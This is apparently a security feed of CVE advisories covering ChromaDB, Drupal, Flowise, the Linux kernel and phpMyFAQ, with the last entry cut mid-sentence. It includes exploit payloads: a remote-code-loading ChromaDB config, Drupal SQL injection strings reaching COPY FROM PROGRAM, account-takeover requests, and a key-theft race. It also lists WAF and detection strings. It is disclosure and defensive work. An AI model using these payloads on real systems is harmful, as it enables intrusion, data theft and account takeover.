https://cvereports.com https://cvereports.com/icon https://cvereports.com CVEReports Feed Generator Thu, 21 May 2026 14:08:28 GMT Thu, 21 May 2026 14:08:28 GMT https://cvereports.com/reports/CVE-2026-45829 https://cvereports.com/reports/CVE-2026-45829 Mon, 18 May 2026 15:59:22 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview ChromaDB is an open-source vector database designed for artificial intelligence applications. It provides storage, search, and retrieval capabilities for embeddings. The platform offers a Python-based server and a corresponding client SDK, facilitating interaction with various machine learning models. CVE-2026-45829 is an unauthenticated Remote Code Execution (RCE) vulnerability affecting ChromaDB versions 1.0.0 through 1.5.8. The vulnerability involves improper input validation during the processing of embedding function configurations. This flaw allows attackers to execute arbitrary code on the host system. The issue resides in the handling of the `trust_remote_code` parameter within the `SentenceTransformerEmbeddingFunction`. When a user requests the creation of a new collection, the server instantiates the specified embedding function based on the provided configuration. The lack of prior authentication or strict parameter filtering exposes the underlying execution engine to untrusted inputs. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of CVE-2026-45829 is a combination of insecure deserialization principles applied to configuration data and the unsafe default capabilities of the underlying machine learning libraries. The application processes collection configurations submitted via POST requests to the `/api/v2/tenants/{tenant}/databases/{db}/collections` endpoint. The application utilizes a function named `load_create_collection_configuration_from_json` to parse the incoming request body. This function accepts arbitrary keyword arguments (`kwargs`) and passes them directly to the specified embedding function class. In the case of the `SentenceTransformerEmbeddingFunction`, these arguments are passed down to the Hugging Face `sentence-transformers` library. The Hugging Face library supports a parameter called `trust_remote_code`, which dictates whether the application should download and execute custom Python scripts associated with a model repository. By supplying a malicious repository name in the `model_name` field and setting `trust_remote_code: true` within the `kwargs`, an attacker forces the server to fetch and execute arbitrary code. This execution occurs prior to the implementation of FastAPI middleware security controls, bypassing any configured authentication requirements. {/* icon: terminal */} {/* type: exploit */} ## Attack Methodology and Exploitation Exploitation of CVE-2026-45829 requires an attacker to host a malicious model repository on the Hugging Face Hub or a compatible registry. This repository contains the Python payload designed to execute upon initialization by the target system. The attacker then constructs a specific JSON payload to trigger the vulnerability. The attacker issues an unauthenticated HTTP POST request to the collection creation API endpoint. The request body defines a new collection and explicitly sets the `embedding_function` configuration to utilize the `sentence-transformers` library. The configuration specifies the attacker-controlled model repository and enables the remote code execution flag. ```json { "name": "malicious_collection", "embedding_function": { "name": "sentence-transformers", "config": { "model_name": "attacker-namespace/malicious-repo", "kwargs": { "trust_remote_code": true } } } } ``` Upon receiving this request, the ChromaDB server attempts to initialize the collection. The `sentence-transformers` library connects to the specified repository, downloads the model artifacts including the custom Python script, and executes the script within the context of the ChromaDB process. This results in immediate code execution without requiring prior authentication. {/* icon: skull */} {/* type: exploit */} ## Secondary Attack Vector: Client Poisoning In addition to direct server exploitation, CVE-2026-45829 introduces a secondary attack vector targeting the ChromaDB Python Client SDK. This vector relies on an attacker gaining sufficient access to modify an existing collection or create a new, poisoned collection on a centralized ChromaDB instance. Once access is established, the attacker sets the collection's embedding function configuration to reference their malicious repository and enables the remote code flag. The server stores this configuration persistently. The vulnerability lies dormant until a legitimate user interacts with the compromised collection. When a user connects to the poisoned collection using the Python Client SDK without explicitly defining a local embedding function, the SDK automatically retrieves the collection configuration from the server. The client application then instantiates the embedding function locally, downloading and executing the attacker's code on the client machine. This mechanism effectively transforms the ChromaDB server into a distribution point for malicious code. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The impact of CVE-2026-45829 is categorized as critical, possessing a CVSS v4.0 score of 10.0. An attacker achieving exploitation gains unauthenticated Remote Code Execution on the host running the ChromaDB server. This execution occurs with the privileges of the ChromaDB process. Successful exploitation permits full compromise of the underlying operating system. The attacker can exfiltrate sensitive data stored within the vector database, including proprietary embeddings and associated metadata. The attacker can also modify existing data, corrupting the integrity of downstream artificial intelligence applications relying on the database. Furthermore, the compromised system serves as a foothold for lateral movement within the target network. The secondary attack vector extends the impact beyond the server infrastructure, threatening the endpoints of developers and data scientists interacting with the database via the Python SDK. {/* icon: lock */} {/* type: mitigation */} ## Remediation and Mitigation The primary remediation for CVE-2026-45829 is upgrading the ChromaDB server and client components to a version subsequent to 1.5.8. System administrators must ensure that all instances of the application, including those deployed within containerized environments, are updated to a secure release. If immediate patching is unfeasible, administrators must disable the `trust_remote_code` functionality within the global server configuration. This mitigation prevents the `sentence-transformers` library from executing custom scripts, neutralizing the primary attack vector. Administrators should verify that this configuration change does not disrupt legitimate operations requiring remote model code. Organizations must enforce strict network security controls around the ChromaDB API. Access to the API should be restricted using firewalls or Virtual Private Clouds (VPCs) to prevent exposure to untrusted networks. Additionally, robust authentication mechanisms, such as Static API Keys or OAuth, should be implemented to ensure only authorized entities can interact with the collection management endpoints. Amit Schendel https://cvereports.com/reports/CVE-2026-9082 https://cvereports.com/reports/CVE-2026-9082 Wed, 20 May 2026 18:20:52 GMT {/* icon: search */} {/* type: deep-dive */} ## Vulnerability Overview CVE-2026-9082 is an unauthenticated SQL Injection (CWE-89) vulnerability residing within the core architecture of Drupal. It specifically affects installations utilizing the PostgreSQL database backend. Deployments running MySQL, MariaDB, and SQLite remain unaffected by this specific attack vector due to differences in database driver implementation and syntax handling. The flaw originates in the Database Abstraction API, particularly in how the PostgreSQL driver processes structural query components. While Drupal reliably sanitizes parameter values using prepared statements, it relies on its internal query builder to handle field names, operators, and ordering clauses. This structural construction process fails to adequately validate input derived from array keys. Attackers exploit this validation failure by passing crafted array keys within filter parameters via standard endpoints, such as JSON:API or Core Search. The system incorporates these keys into the final SQL string without sufficient neutralization. This allows malicious actors to break out of the intended query structure and append arbitrary PostgreSQL commands. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of CVE-2026-9082 is the improper neutralization of special elements within array keys processed by the PostgreSQL database driver. Drupal’s abstraction layer separates data values from SQL structures to prevent injection. However, filter conditions constructed via JSON:API or Entity Queries dynamically build query clauses based on user-supplied parameter keys. When an attacker provides a crafted key, the validation logic fails to detect PostgreSQL-specific operators. Specifically, type casting operators (`::`), string concatenation operators (`||`), and dollar-quoting mechanisms bypass the standard alphanumeric filters intended for column identifiers. The driver assumes these keys represent legitimate, safe structural components. Because the driver directly concatenates these unsanitized keys into the SQL statement, the injected characters alter the syntax tree of the resulting query. The database engine executes the concatenated string, processing the attacker's payload as legitimate SQL commands rather than literal identifiers. This failure sequence effectively negates the protections offered by the prepared statement implementation. {/* icon: terminal */} {/* type: exploit */} ## Exploit Mechanics and Attack Vectors Exploitation requires no authentication and relies on sending crafted HTTP GET requests to specific Drupal endpoints. The primary attack surfaces include the JSON:API (`/jsonapi/node/article`), Core Search (`/search/node`), and Views AJAX (`/views/ajax`) endpoints. These routes natively accept complex, nested array parameters for filtering and sorting operations, providing an ideal injection conduit. Attackers typically initiate the exploit using a time-based blind SQL injection technique. By injecting the `pg_sleep()` function into a search parameter, the attacker verifies the vulnerability based on the server's response time. Passing a payload such as `keys=test';select pg_sleep(5)--` forces the database to pause execution, providing binary confirmation of the injection point. ```mermaid graph LR A["Attacker Payload"] --> B["HTTP GET /search/node"] B --> C["Drupal Router"] C --> D["DB Abstraction API"] D --> E["PostgreSQL Driver"] E --> F["Concatenated SQL Executed"] F -.-> G["pg_sleep() execution"] ``` If the database user configured in Drupal's `settings.php` possesses superuser privileges, the attack escalates to Remote Code Execution (RCE). The attacker leverages the PostgreSQL `COPY FROM PROGRAM` command. This instructs the database engine to execute a shell command on the underlying host operating system and pipe the output into a database table. A conceptual payload for RCE involves closing the existing query context, executing a `UNION SELECT` to balance the statement, and chaining the `COPY` command. The payload `test' UNION SELECT null,null; CREATE TABLE cmd_out(output TEXT); COPY cmd_out FROM PROGRAM 'id'; --` demonstrates this exact escalation path. {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment The vulnerability carries a Drupal Security Risk Score of 20 out of 25, classifying it as Highly Critical. This rating reflects the unauthenticated nature of the attack and the potential for complete database compromise. NVD assigned a CVSS v3.1 base score of 6.5, which measures the direct impacts of standard SQL injection without assuming the presence of a superuser database configuration. Successful exploitation grants the attacker read and write access to the entire Drupal database. This access enables the exfiltration of sensitive user data, session tokens, and password hashes. Attackers use this access to modify database records, granting administrative privileges to standard user accounts or altering site content. The impact extends directly to the underlying server infrastructure if the PostgreSQL service runs with elevated privileges. Execution of shell commands via `COPY FROM PROGRAM` provides a definitive foothold for lateral movement within the network. This highlights the critical importance of adhering to the principle of least privilege when configuring database service accounts. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Mitigation Guidance The primary remediation for CVE-2026-9082 requires updating Drupal Core to a patched version. Administrators must apply version 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, or 11.3.10 depending on their active deployment branch. Updates are executed via Composer using the `composer update drupal/core drupal/core-recommended` command to ensure strict dependency alignment. As a crucial defense-in-depth measure, administrators must verify the permissions assigned to the PostgreSQL user account connecting to the Drupal database. Ensure this account is strictly prohibited from holding the `SUPERUSER` role. Restricting database privileges neutralizes the `COPY FROM PROGRAM` vector, preventing escalation from SQL injection to Remote Code Execution. Security operations teams should deploy Web Application Firewall (WAF) rules and monitor logs for indicators of compromise. Detection strategies involve searching web access logs for PostgreSQL-specific syntax such as `pg_sleep`, `::text`, and `COPY FROM PROGRAM` within request parameters. Implementing targeted Sigma rules provides a baseline for identifying these attack patterns in SIEM environments. Alon Barad https://cvereports.com/reports/GHSA-59FH-9F3P-7M39 https://cvereports.com/reports/GHSA-59FH-9F3P-7M39 Wed, 20 May 2026 15:44:40 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview Flowise relies on an API endpoint located at `PUT /api/v1/user` to handle updates to user profile information. This endpoint correctly implements authorization checks to ensure that a user can only modify their own profile data. This specific check prevents direct insecure direct object reference (IDOR) attacks against other accounts. However, the endpoint lacks input validation and filtering on the attributes provided in the request body. This absence of filtering leads to a mass assignment vulnerability, classified under CWE-915. An authenticated attacker can supply arbitrary database fields within the JSON payload. The application blindly maps these fields to the underlying user entity. This allows unauthorized modification of sensitive account parameters, including the user's password hash. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The vulnerability originates in the request handling logic of the user controller. The application extracts the `id` from the request body and compares it against the authenticated session token. If the IDs match, the controller forwards the entire `req.body` object to the service layer without restricting the allowed keys. Within `UserService.updateUser`, the application leverages the TypeORM object-relational mapper to update the database record. The application calls the `merge` function, passing the existing user data and the unvalidated `newUserData` derived directly from the HTTP request. The Flowise user database schema utilizes a column named `credential` to store the bcrypt-hashed password. Because the TypeORM `merge` function overwrites existing entity properties with any matching keys from the input object, supplying a `credential` key in the JSON body modifies this secure field. The system processes the database update without executing the standard password change workflow. ```mermaid graph LR A["Attacker"] -->|"PUT /api/v1/user\n{credential: 'hash'}"| B["User Controller"] B -->|"Unfiltered req.body"| C["UserService"] C -->|"TypeORM merge()"| D["Database"] D -->|"Overwrites Hash"| D ``` {/* icon: code */} {/* type: deep-dive */} ## Code Analysis The vulnerable controller implementation demonstrates the missing input sanitization. The code verifies the user identity but immediately passes the raw payload to the database abstraction layer. ```typescript // Vulnerable Controller Logic const currentUser = req.user; const { id } = req.body; if (currentUser.id !== id) { throw new InternalFlowiseError(StatusCodes.FORBIDDEN); } // req.body is passed entirely to the service const user = await userService.updateUser(req.body); ``` The service layer subsequently executes the merge operation. TypeORM applies all key-value pairs from `newUserData` onto the `oldUserData` object, replacing internal attributes. ```typescript // Vulnerable Service Logic updatedUser = queryRunner.manager.merge(User, oldUserData, newUserData); ``` The remediation implemented in Flowise version 3.1.2 via Pull Request #5986 introduces strict allowlisting. The controller now extracts only explicitly permitted fields, such as `name` and `email`, from the request body. Any extraneous fields like `credential` are discarded before the service layer invokes the database update operation. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploitation requires an active authenticated session and knowledge of the underlying database schema. The attacker first generates a valid bcrypt hash for a password they control using standard cryptographic tools. The attacker intercepts or crafts a `PUT` request targeting the `/api/v1/user` endpoint. They inject the `credential` field containing the newly generated hash into the JSON payload alongside their valid user ID. ```http PUT /api/v1/user Authorization: Bearer <JWT_TOKEN> Content-Type: application/json { "id": "<your-user-id>", "credential": "$2b$10$abc123examplehashvalue..." } ``` Upon processing the request, the application replaces the legitimate password hash in the database. The attacker can subsequently authenticate using the new password. This technique successfully bypasses the requirement to provide the current password, finalizing account takeover without utilizing the standard credential rotation UI. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment This mass assignment vulnerability facilitates persistent account compromise. If an attacker gains transient access to a user session through cross-site scripting (XSS) or API token theft, they can permanently backdoor the account by overwriting the credentials. By overwriting the password hash directly, the attacker evades multiple security controls. The application fails to enforce password complexity policies, does not validate the old password, and fails to invalidate existing active sessions during the unauthorized credential rotation. The CVSS v4.0 score of 5.3 reflects the specific constraints of the attack. The vulnerability requires a low-privileged authenticated session (PR:L) and specific knowledge of internal field names (AC:H). The impact is strictly isolated to the integrity of the individual user account (VI:H). {/* icon: lock */} {/* type: mitigation */} ## Remediation and Detection Administrators must upgrade Flowise to version 3.1.2 or later to address this vulnerability. The updated release implements field-level allowlisting in the user update controller, preventing the mass assignment condition. Organizations unable to apply the patch immediately can deploy Web Application Firewall (WAF) rules to inspect traffic destined for `PUT /api/v1/user`. WAF policies should explicitly block requests containing restricted JSON keys, specifically `credential`, `tempToken`, and `status`. Development teams utilizing object mappers like TypeORM or Sequelize must avoid passing raw HTTP input directly to merge or update functions. Implementing Data Transfer Objects (DTOs) with strict validation schemas prevents mass assignment flaws by isolating the API presentation layer from internal database models. Alon Barad https://cvereports.com/reports/GHSA-C2C9-MFW7-P8HW https://cvereports.com/reports/GHSA-C2C9-MFW7-P8HW Wed, 20 May 2026 15:45:19 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview Flowise is an open-source low-code platform for building custom Large Language Model (LLM) applications. It supports multi-tenant environments through workspaces, utilizing API keys to segment access and execution rights. This architecture is designed to isolate chatflows and prevent cross-tenant data exposure. GHSA-C2C9-MFW7-P8HW represents an Incorrect Authorization vulnerability (CWE-863) within this multi-tenant isolation mechanism. The flaw specifically affects the `/api/v1/chatflows/apikey/:apikey` endpoint, which client applications use to retrieve necessary configuration data for specific chat components. In versions prior to 3.1.2, this endpoint fails to enforce strict workspace boundaries. An authenticated user belonging to one workspace can exploit this endpoint to disclose chatflow designs across the entire Flowise instance, provided those chatflows do not have explicit individual passwords configured. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The vulnerability stems from missing database query scoping. When a client application makes a request to the affected endpoint, it supplies an API key in the URL path. The Flowise backend receives this key and validates its format and active status. However, the authorization check terminates prematurely. While the backend confirms the API key is active, it fails to extract the `workspaceId` associated with that specific key to use in the subsequent data retrieval phase. The resulting database query constructs a search for chatflows using only the "unprotected" status as the primary filter condition. Because the `workspaceId` is omitted from the `WHERE` clause of the database query, the execution engine returns every unprotected chatflow present in the instance. The system then serializes this unrestricted result set and returns it to the client, effectively bypassing the intended multi-tenant authorization logic. {/* icon: terminal */} {/* type: exploit */} ## Attack Flow Execution Exploitation of this vulnerability requires network access to the target Flowise instance and possession of at least one valid API key. This key can belong to a low-privileged workspace, making this an attack vector for lateral data discovery within shared development or production environments. The attacker crafts an HTTP GET request directed at the vulnerable endpoint, substituting the `:apikey` parameter with their legitimate key. The request requires no complex payloads, special headers, or specific instance misconfigurations to execute successfully. ```bash curl -X GET "https://flowise.example.com/api/v1/chatflows/apikey/sk-attacker-valid-key" \ -H "Accept: application/json" ``` The resulting JSON response contains an array of chatflow objects. These objects include full structural details, node configurations, and prompt templates for applications belonging to entirely separate, unrelated workspaces. {/* icon: git-merge */} {/* type: deep-dive */} ## Attack Methodology Diagram The following sequence illustrates how the logic flaw causes data leakage across tenant boundaries. ```mermaid graph LR A["Attacker (Workspace A)"] --> B["GET /api/v1/chatflows/apikey/[Key-A]"] B --> C["Backend API"] C --> D["Validates Key-A (Success)"] D --> E["Queries DB (Filters: unprotected=true)"] E --> F["DB Returns ALL Unprotected Chatflows"] F --> G["Leaks Workspace B & C Data"] ``` {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment The primary impact is unauthorized information disclosure affecting the confidentiality of AI agent designs. While the vulnerability is read-only and does not permit modification or deletion of resources, the leaked data often contains highly sensitive intellectual property. Exposed chatflows reveal the precise system prompts, retrieval-augmented generation (RAG) configurations, and logic pathways designed by other users. This exposes proprietary prompt engineering techniques and internal business logic that application owners intend to keep confidential. Furthermore, if developers have improperly embedded hardcoded secrets, API keys for external services (like OpenAI, Anthropic, or vector databases), or sensitive metadata directly into their unprotected chatflow nodes, these credentials will be exposed to the attacker, escalating the overall severity of the breach. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Mitigation Administrators must upgrade all Flowise deployments to version 3.1.2 or later. The patch modifies the backend controller logic to explicitly extract the `workspaceId` linked to the provided API key and appends it as a mandatory filter parameter in the underlying database query. If immediate patching is not technically feasible, administrators can temporarily mitigate the risk by configuring network-level access controls or Web Application Firewall (WAF) rules. Restricting access to the `/api/v1/chatflows/apikey/` endpoint to trusted internal IP addresses prevents external lateral exploitation. Additionally, ensuring that all individual chatflows are configured with explicit password protection will prevent them from being returned by the vulnerable query. The flaw specifically targets chatflows that rely solely on workspace boundaries for access control rather than explicit individual protection mechanisms. Amit Schendel https://cvereports.com/reports/CVE-2026-46333 https://cvereports.com/reports/CVE-2026-46333 Fri, 15 May 2026 12:58:44 GMT {/* icon: search */} {/* type: deep-dive */} ## Vulnerability Overview CVE-2026-46333, commonly tracked as "ssh-keysign-pwn", is an information disclosure vulnerability in the Linux kernel's process management subsystem. The vulnerability is classified as a race condition (CWE-362) occurring within the process exit sequence. It allows local, unprivileged attackers to bypass security restrictions and access resources held by privileged processes. The Linux kernel utilizes a "dumpability" flag to determine if a process can generate a core dump. This flag also serves as an access control mechanism for system calls like `ptrace` and `pidfd_getfd(2)`. The kernel references this flag to prevent unprivileged users from attaching to or reading the memory and file descriptors of SUID/SGID processes. The flaw exists in how the kernel evaluates dumpability as a process terminates. An unprivileged attacker can exploit a timing window during the exit of a privileged process to bypass these checks. Successful exploitation yields access to file descriptors opened by the privileged process, directly exposing the contents of restricted files. {/* icon: code */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of CVE-2026-46333 is improper state synchronization between a process's memory management struct (`mm_struct`) and its file descriptor table during termination. In Linux, a process maintains an `mm` pointer that tracks its memory context, which historically included the dumpability flag. During the process exit path, the kernel executes `exit_mm()`, which sets the process's `mm` pointer to `NULL`. This operation occurs before the process invokes `exit_files()`, which is responsible for closing the process's open file descriptors. This sequence creates a temporary state where a process has no memory context but retains open file handles. The `get_dumpable()` function handles requests to determine a process's dumpability. Prior to the fix, the logic for evaluating dumpability when `mm == NULL` was flawed. It failed to accurately return the restrictive permissions that applied to the process before termination. When an attacker calls `ptrace_may_access()` against a target in this intermediate state, the check incorrectly resolves in the attacker's favor. The kernel permits the access because it cannot correctly verify the dumpability restrictions of the now-NULL `mm` structure. This authorization failure extends to operations like `pidfd_getfd(2)`, granting the attacker complete access to the target's open files. {/* icon: shield */} {/* type: deep-dive */} ## Code Analysis The vulnerability stems from the kernel's inability to retain a process's security context once its `mm_struct` is detached. The patch, introduced in commit `93d4ba49d18e3d7fb41a9927c2d0cca5e9dfefd6`, redesigns the `get_dumpable()` logic to cache the dumpability state. ```c // Pre-patch logic in get_dumpable() int get_dumpable(struct mm_struct *mm) { if (!mm) return 0; // Kernel threads and exiting tasks were treated incorrectly return (mm->flags & MMF_DUMPABLE_MASK) >> MMF_DUMPABLE_SHIFT; } ``` The unpatched code fails to differentiate between a standard kernel thread (which never had an `mm`) and a privileged user thread that is in the process of exiting. The access control checks default to a permissive or inconsistent state when `mm` evaluates to `NULL`. ```c // Post-patch logic int get_dumpable(struct task_struct *task, struct mm_struct *mm) { if (mm) return (mm->flags & MMF_DUMPABLE_MASK) >> MMF_DUMPABLE_SHIFT; // Check if the task is a kernel thread or a user task exiting if (task->flags & PF_KTHREAD) return 0; // Fallback to a cached dumpability state stored in task_struct return task->saved_dumpable; } ``` The patch introduces a `saved_dumpable` field within the `task_struct`. If the process drops its `mm` pointer during termination, the kernel falls back to this cached value. Furthermore, the kernel now explicitly requires `CAP_SYS_PTRACE` to override these checks, ensuring that transitioning to an `mm == NULL` state no longer downgrades the process's security posture. {/* icon: skull */} {/* type: exploit */} ## Exploitation Exploitation of CVE-2026-46333 relies on precise execution timing and abuse of the `pidfd_getfd(2)` system call. The attacker requires local access to the system and the ability to execute SUID binaries. The primary target for this exploit is `/usr/lib/openssh/ssh-keysign`, a SUID-root helper program used for host-based authentication. The attacker spawns the `ssh-keysign` process and immediately sends a termination signal or provides invalid input to force a fast exit. Concurrently, an attacker-controlled process loops aggressively, attempting to acquire a file descriptor to the target process via `pidfd_open(2)`. ```mermaid graph LR A["Attacker Process"] --> B["Spawn ssh-keysign"] B --> C["Target opens /etc/ssh/ssh_host_ed25519_key"] A --> D["Force Target Exit"] D --> E["Target: mm = NULL"] A --> F["pidfd_getfd() on Target"] F --> G["Capture FD before exit_files()"] ``` Once the target process hits the vulnerable window (`mm == NULL` but file descriptors remain open), the attacker process calls `pidfd_getfd(2)`. The kernel's `ptrace_may_access()` check evaluates to true due to the flaw, allowing the attacker to duplicate the file descriptor for the host's private key into their own process space. The attacker then reads the key material directly from the duplicated descriptor. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The impact of CVE-2026-46333 is constrained to the local system, requiring attackers to already possess a low-privileged shell. However, the severity of the information disclosure is extremely high. By targeting the `ssh-keysign` binary, an attacker successfully extracts the SSH host private keys. Possession of the SSH host keys enables complete host impersonation. An attacker positioned on the network can perform man-in-the-middle attacks against subsequent SSH connections to the compromised server. This allows the attacker to intercept sessions, steal credentials, and hijack administrative access. The vulnerability is not limited to SSH keys. Attackers can target other SUID binaries that process sensitive files. For example, exploiting the `/usr/bin/chage` binary yields a file descriptor to `/etc/shadow`. The attacker can read the system's password hashes and subject them to offline cracking, eventually escalating privileges to root. {/* icon: lock */} {/* type: mitigation */} ## Remediation The primary remediation for CVE-2026-46333 is upgrading the Linux kernel to a patched version. The fix has been integrated into mainline kernel 7.1-rc4 and backported to long-term stable branches. Administrators should deploy kernels 6.18.31, 6.12.89, 6.6.139, 6.1.173, 5.15.207, or 5.10.256 depending on their distribution's track. If immediate reboot and kernel upgrade are infeasible, administrators must deploy a sysctl workaround. Modifying the Yama security module configuration to restrict `ptrace` usage effectively neutralizes the exploit vector. Running `sysctl -w kernel.yama.ptrace_scope=2` forces the kernel to demand `CAP_SYS_PTRACE` for all `ptrace` and `pidfd_getfd` operations. To persist this mitigation across reboots, administrators must write the configuration to `/etc/sysctl.d/99-CVE-2026-46333.conf`. Applying this workaround has operational side effects. Setting `ptrace_scope` to `2` prevents unprivileged users from attaching debuggers like `gdb` or using tools like `strace` on their own processes. Developers on affected systems will require elevated privileges to perform debugging tasks. Amit Schendel https://cvereports.com/reports/GHSA-9QV9-8XV6-5P35 https://cvereports.com/reports/GHSA-9QV9-8XV6-5P35 Wed, 20 May 2026 15:45:53 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview GHSA-9qv9-8xv6-5p35 exposes a fundamental logic flaw in the REST API components of phpMyFAQ, specifically affecting version 4.1.2 and earlier. The application implements an insecure password recovery mechanism that violates standard identity verification workflows. Secure password reset flows require an out-of-band verification step, typically generating a cryptographic token sent to the user's registered email address. The password is only updated in the database after the user submits this valid, time-bound token back to the server. In the vulnerable implementation, phpMyFAQ processes the password reset in a single, synchronous step. Upon receiving a request containing a valid username and corresponding email address, the application immediately generates a new password and overwrites the existing credentials in the database before dispatching the notification email. This behavior introduces two distinct security issues: a Weak Password Recovery Mechanism (CWE-640) and Information Exposure Through Discrepancy (CWE-204). Remote, unauthenticated attackers can leverage these flaws to disrupt access for legitimate users and accurately map registered accounts on the target system. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The vulnerability originates in the `UnauthorizedUserController` class, which handles public-facing API requests that do not require an active session. The specific function at fault is the `updatePassword` method, mapped to the `PUT /api/index.php/user/password/update` endpoint. When a client submits a PUT request to this endpoint, the application extracts the `username` and `email` fields from the JSON payload. The application queries the `faquserlogin` table to determine if the username exists and subsequently verifies if the provided email matches the stored record for that user. If both conditions evaluate to true, the application instantiates a password generation routine. The critical error occurs in the immediate execution of the `$user->changePassword($newPassword)` function. This function persists the newly generated password to the database synchronously, permanently destroying the user's previous credentials. Only after the database transaction is finalized does the application attempt to send the new password to the user via the `$mail->send()` method. The failure to defer the database update until the user proves control of the email address constitutes the core logic flaw. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis and Execution Flow An analysis of the vulnerable source code in `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php` demonstrates the immediate credential modification. ```php #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])] public function updatePassword(Request $request): JsonResponse { // Extract username and email from JSON body $loginExist = $user->getUserByLogin($username); if ($loginExist && $email === $user->getUserData('email')) { $newPassword = $user->createPassword(); // VULNERABILITY: Password changed immediately in the DB $user->changePassword($newPassword); $mail->send(); return $this->json(['success' => 'Email has been sent.'], Response::HTTP_OK); } // VULNERABILITY: Observable discrepancy permits enumeration return $this->json(['error' => 'Error: Username and email address not found.'], Response::HTTP_CONFLICT); } ``` The code block above highlights both the forced reset and the enumeration flaw. The application returns an `HTTP 200 OK` status for valid inputs and an `HTTP 409 Conflict` for invalid inputs. ```mermaid graph LR A["Attacker Payload"] --> B["PUT /user/password/update"] B --> C{"Valid Credentials?"} C -->|No| D["HTTP 409: Error"] C -->|Yes| E["Generate New Password"] E --> F["Overwrite DB Password"] F --> G["Send Email"] G --> H["HTTP 200: Success"] ``` The patch introduced in version 4.1.3 resolves this by overhauling the recovery workflow. Instead of generating a password, the system now generates a temporary validation token, emails the token to the user, and requires a subsequent API call providing the token to authorize the password update. The patch also standardizes the API response to prevent enumeration. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploitation requires zero privileges and minimal network access. An attacker interacts directly with the exposed REST API using standard HTTP client tools. To execute the forced password reset, the attacker constructs a PUT request containing the targeted user's known username and email address. The payload structure requires a basic JSON body. ```http PUT /api/index.php/user/password/update HTTP/1.1 Host: target-phpmyfaq-instance.local Content-Type: application/json { "username": "admin", "email": "admin@example.com" } ``` If the targeted user exists, the server returns an `HTTP 200 OK` response. At this precise moment, the targeted user's active session remains valid, but their stored password is changed. Once their session expires or they attempt to log in from a new device, they will be denied access until they retrieve the system-generated password from their email inbox. Attackers utilize the observable discrepancies in the HTTP response codes to conduct user enumeration. By iterating through lists of common usernames and company email structures, an attacker automates requests to the endpoint. An `HTTP 409 Conflict` confirms the user does not exist, while an `HTTP 200 OK` confirms a valid target, simultaneously locking that user out of their account. {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment The vulnerability carries a CVSS v3.1 base score of 7.0, reflecting its high impact on system integrity and its fully remote, unauthenticated attack vector. The absence of complex preconditions makes this flaw highly reproducible in default deployments. The immediate consequence is localized Denial of Service (DoS) through account disruption. Attackers can script continuous requests against targeted administrative accounts, ensuring the database password changes repeatedly. This prevents legitimate administrators from successfully logging in, as the password emailed to them is invalidated by the next automated attack request before it can be used. The enumeration capability presents significant risks for organizational security posture. Attackers map valid internal identities, facilitating targeted spear-phishing campaigns or brute-force attacks against other enterprise services. While this vulnerability does not directly expose the new password to the attacker, it severely degrades access controls. If an attacker possesses secondary access to the victim's communication channels, such as a compromised email inbox or the ability to intercept outbound SMTP traffic, this logic flaw escalates immediately to full account takeover. {/* icon: shield */} {/* type: mitigation */} ## Detection and Remediation The primary remediation strategy requires upgrading the phpMyFAQ deployment to version 4.1.3 or later. This version replaces the synchronous password reset with a secure, token-based verification flow and normalizes API responses to mitigate enumeration. Organizations unable to patch immediately should implement compensating controls at the network perimeter. Web Application Firewalls (WAF) or reverse proxies can be configured to block or rate-limit unauthenticated `PUT` requests to the `/api/index.php/user/password/update` endpoint. Security operations teams should monitor web server access logs and API gateways for suspicious activity patterns. Sequences of `HTTP 409 Conflict` responses originating from a single IP address, particularly when targeting the password update endpoint, indicate active user enumeration attempts. Administrators should also audit internal mail server logs. An abnormal spike in password reset notifications originating from the phpMyFAQ application server serves as a high-fidelity indicator that the forced reset vulnerability is being actively exploited. Alon Barad https://cvereports.com/reports/GHSA-XVP4-PHQJ-CJR3 https://cvereports.com/reports/GHSA-XVP4-PHQJ-CJR3 Wed, 20 May 2026 15:46:17 GMT {/* icon: shield */} {/* type: deep-dive */} ## Vulnerability Overview phpMyFAQ is an open-source FAQ web application that provides administrative APIs to manage users, content, and system configurations. The administration API includes an endpoint designed to allow administrators to overwrite user passwords. This feature is intended for user management and account recovery tasks. The application implements a role-based access control (RBAC) system. Users require specific permission flags, such as `USER_EDIT`, to interact with user-management endpoints. The vulnerability arises because the application checks for the presence of this global permission flag but fails to evaluate the permission context relative to the specific target user being modified. This flaw is classified as an Insecure Direct Object Reference (CWE-639) combined with Improper Authorization (CWE-285). By manipulating the `userId` parameter in the API request, a low-privileged administrator can target any system account. Because the application does not verify hierarchical privilege boundaries, the attacker can overwrite the credentials of the SuperAdmin account, achieving total system compromise. {/* icon: search */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of this vulnerability lies in the `overwritePassword()` method within `UserController.php`. When processing a password reset request, the application retrieves the target user ID directly from the JSON request body using `Filter::filterVar($data->userId, FILTER_VALIDATE_INT)`. The application assumes the provided identifier is valid for the current user's management scope. Prior to executing the password change, the application invokes the `userHasUserPermission()` method. This method verifies that the active session holds the global `USER_EDIT` right. It does not verify whether the active session belongs to a user with equal or higher administrative privileges than the target user specified by the `userId` parameter. Once the global permission check passes, the application fetches the target user object via `$currentUser->getUserById((int) $userId)`. It then 